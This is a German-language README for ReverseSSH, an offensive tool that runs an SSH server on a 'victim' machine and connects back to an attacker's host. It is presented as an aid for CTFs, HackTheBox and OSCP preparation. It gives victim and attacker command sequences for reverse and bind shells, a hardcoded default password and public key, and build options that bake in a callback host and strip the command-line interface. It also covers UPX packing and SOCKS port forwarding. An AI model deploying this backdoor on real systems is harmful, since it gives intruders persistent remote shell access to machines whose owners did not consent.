
Statisch gelinkter SSH-Server mit Reverse-Shell-Funktionalität für CTFs und Ähnliches
Ein statisch gelinkter SSH-Server mit einer Reverse-Verbindungsfunktion für einfachen und dennoch leistungsstarken Fernzugriff. Am nützlichsten bei HackTheBox-Challenges, CTFs oder ähnlichem.
Wurde entwickelt und war bei der OSCP-Prüfungsvorbereitung umfangreich im Einsatz.
Die neueste Version herunterladen

Das Abfangen einer Reverse Shell mit netcat ist cool, okay, aber wer hat nicht schon aus Muskelgedächtnis versehentlich eine Reverse Shell mit einem Tastatur-Interrupt geschlossen? Neben ihrer Zerbrechlichkeit fehlen solchen Shells oft auch praktische Funktionen wie vollständig interaktiver Zugriff, TAB-Vervollständigung oder Verlauf.
Stattdessen können Sie den leichten SSH-Server (<1.5MB) reverse-ssh auf dem Ziel einsetzen und zusätzliche Annehmlichkeiten wie Dateiübertragung und Portweiterleitung nutzen!
ReverseSSH versucht, die Lücke zwischen erstem Zugriff auf ein Ziel und vollständiger lokaler Privilegieneskalation zu schließen. Seine Hauptstärken sind die folgenden:
Windows-Hinweise
Eine vollständig interaktive PowerShell unter Windows basiert auf der Windows Pseudo Console ConPTY und benötigt daher mindestens Win10 Build 17763. Bei früheren Versionen erhalten Sie immer noch eine interaktive Reverse Shell, die jedoch keine virtuellen Terminalcodes wie Pfeiltasten oder Tastatur-Interrupts verarbeiten kann. In solchen Fällen müssen Sie den Befehl cmd anhängen, also ssh <OPTIONS> <IP> cmd.
Sie können für ältere Windows-Versionen vollständigen interaktiven Shell-Zugriff erreichen, indem Sie ssh-shellhost.exe aus OpenSSH für Windows in das gleiche Verzeichnis wie reverse-ssh legen und dann das Flag -s ssh-shellhost.exe verwenden. Dadurch wird der gesamte Verkehr durch ssh-shellhost.exe geleitet, das eine Pty nachahmt und alle virtuellen Terminalcodes so umwandelt, dass Windows sie verstehen kann.
Die einfache Ausführung der bereitgestellten Binärdateien basiert nur auf den Golang-Systemanforderungen.
Kurz gesagt:
Das Kompilieren erfordert zusätzlich Folgendes:
upx zur Komprimierung (z.B. apt install upx-ucl)Sobald reverse-ssh auf dem Opfer läuft, können Sie sich mit jedem Benutzernamen und dem Standardpasswort letmeinbrudipls, dem SSH-Schlüssel oder dem, was Sie bei der Kompilierung angegeben haben, verbinden. Es ist schließlich nur ein SSH-Server:
# Vollständig interaktiver Shell-Zugriff
$ ssh -p <RPORT> <RHOST>
# Einfache Befehlsausführung
$ ssh -p <RPORT> <RHOST> whoami
# Vollwertige Dateiübertragungen
$ sftp -P <RPORT> <RHOST>
# Dynamische Portweiterleitung als SOCKS-Proxy auf Port 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Opfer
victim$ ./reverse-ssh
# Angreifer (Standardpasswort: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
Hinweis: Sie können ReverseSSH mit Parametern für LHOST und LPORT kompilieren, um die Ausführung auf dem Ziel zu erleichtern, siehe unten
# Auf dem Angreifer (bereit zum Abfangen der eingehenden Anfrage;
# kann weggelassen werden, wenn bereits ein SSH-Daemon läuft, z.B. OpenSSH)
# HINWEIS: LPORT 8888 kollidiert mit eingehenden Verbindungen; verwenden Sie in diesem Fall das Flag `-b 8889` oder ähnlich auf dem Opfer
attacker$ ./reverse-ssh -v -l -p <LPORT>
# Auf dem Opfer
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# oder bei einem SSH-Daemon, der auf Port 22 mit Passwortauthentifizierung für Benutzer 'kali' lauscht
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# Auf dem Angreifer (Standardpasswort: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# oder mit der unten stehenden SSH-Konfiguration
attacker$ ssh target
Letztendlich ist es einfaches SSH, sodass Sie den vom Opfer ausgehenden Remote-Portweiterleitungsaufruf mit Ihrem OpenSSH-Daemon auf Port 22 abfangen können. Stellen Sie einfach <USER>@ voran und geben Sie das Passwort ein, wenn danach gefragt wird. Der Rückruf erfolgt derzeit nur über Passwort, da ich noch keinen privaten Schlüssel eingebaut habe...
Für noch mehr Komfort fügen Sie Folgendes zu Ihrer ~/.ssh/config hinzu, kopieren Sie den SSH-Private-Key nach ~/.ssh/ und rufen Sie anschließend einfach ssh target oder sftp target auf:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, Start reverseSSH in listening mode (overrides reverse scenario)
-p, Port at which reverseSSH is listening for incoming ssh connections (bind scenario)
or where it tries to establish a ssh connection (reverse scenario) (default: 31337)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-s, Shell to spawn for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-N, Deny all incoming shell/exec/subsystem and local port forwarding requests
(if only remote port forwarding is needed, e.g. when catching reverse connections)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user other than 'reverse' while dialling home
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Stellen Sie sicher, dass Sie die obigen Anforderungen wie Golang in einer passenden Version installieren und richtig einrichten. Anschließend können Sie mit make kompilieren, was statische Binärdateien in bin erstellt. Verwenden Sie make compressed, um die Binärdateien mit upx zu packen und ihre Größe weiter zu reduzieren.
$ make
# oder um zusätzlich mit upx gepackte Binärdateien zu erstellen
$ make compressed
Sie können auch eine oder mehrere der folgenden Umgebungsvariablen beim Kompilieren angeben, um ReverseSSH an Ihren Anwendungsfall anzupassen:
RS_SHELL um die Standard-Shell zu ändernRS_PASS um Ihr personalisiertes Passwort bereitzustellenRS_PUB um Ihren personalisierten autorisierten Schlüssel bereitzustellenLUSER um den Standard-Benutzernamen des SSH-Verbindungsversuchs zu ändernLHOST um einen Standard-LHOST-Wert bereitzustellen und ReverseSSH standardmäßig auf das Reverse-Szenario zu setzenLPORT um den Standard-Listening-Port oder den Port zu ändern, an den ein SSH-Verbindungsversuch gesendet wirdBPORT um den Standard-Listening-Port für Reverse-Verbindungen auf dem Angreifer-Rechner zu ändern; 0 bedeutet, dass ein beliebiger freier Port verwendet wirdNOCLI mit einem beliebigen Wert entfernt alle benutzerseitigen Interaktionen (die Binärdatei ignoriert alle übergebenen Flags oder Argumente)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
Standardmäßig wird reverse-ssh für Ihr aktuelles Betriebssystem und Ihre Architektur sowie für Linux und Windows in x86 und x64 kompiliert. Um für andere Architekturen oder ein anderes Betriebssystem zu kompilieren, können Sie Umgebungsvariablen angeben, die Ihrem Ziel entsprechen, z.B. für Linux/arm64:
$ GOARCH=arm64 GOOS=linux make compressed
Eine Liste verfügbarer Ziele im Format OS/arch erhalten Sie über go tool dist list.
Fehlt eine atemberaubende Funktion? Funktioniert etwas nicht wie beabsichtigt?
Erstellen Sie ein Issue oder einen Pull-Request!